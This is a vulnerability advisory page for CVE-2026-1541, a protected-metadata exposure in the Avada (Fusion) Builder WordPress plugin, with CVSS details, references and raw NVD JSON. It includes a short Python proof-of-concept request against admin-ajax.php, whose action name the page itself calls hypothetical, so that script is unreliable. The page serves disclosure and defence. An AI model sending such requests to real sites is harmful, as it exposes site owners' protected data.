CVE-2026-1541

Description

The Avada (Fusion) Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.15.1. This is due to the plugin's `fusion_get_post_custom_field()` function failing to validate whether metadata keys are protected (underscore-prefixed). This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract protected post metadata fields that should not be publicly accessible via the Dynamic Data feature's `post_custom_field` parameter.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Avada (Fusion) Builder <= 3.15.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "https://example.com/wp-admin/admin-ajax.php"
cookies = {
    "wordpress_logged_in_...": "cookie_value_here" # Subscriber level cookie
}

# The vulnerable parameter
# Attempting to extract a protected field like '_edit_lock'
payload = {
    "action": "fusion_builder_get_dynamic_data", # Hypothetical action based on plugin structure
    "post_id": 1,
    "post_custom_field": "_edit_lock" # Protected field starting with underscore
}

response = requests.post(target_url, data=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Response received:")
    print(response.text)
else:
    print("[-] Request failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1541
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1541
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1541/
[4] VulDB https://vuldb.com/cve/CVE-2026-1541
[5] https://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/f1f69f93-80e3-434d-98a6-fc8757b4e6d1?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1541", "sourceIdentifier": "[email protected]", "published": "2026-04-15T04:17:33.433", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Avada (Fusion) Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.15.1. This is due to the plugin's `fusion_get_post_custom_field()` function failing to validate whether metadata keys are protected (underscore-prefixed). This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract protected post metadata fields that should not be publicly accessible via the Dynamic Data feature's `post_custom_field` parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://themeforest.net/item/avada-responsive-multipurpose-theme/2833226", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f1f69f93-80e3-434d-98a6-fc8757b4e6d1?source=cve", "source": "[email protected]"}]}}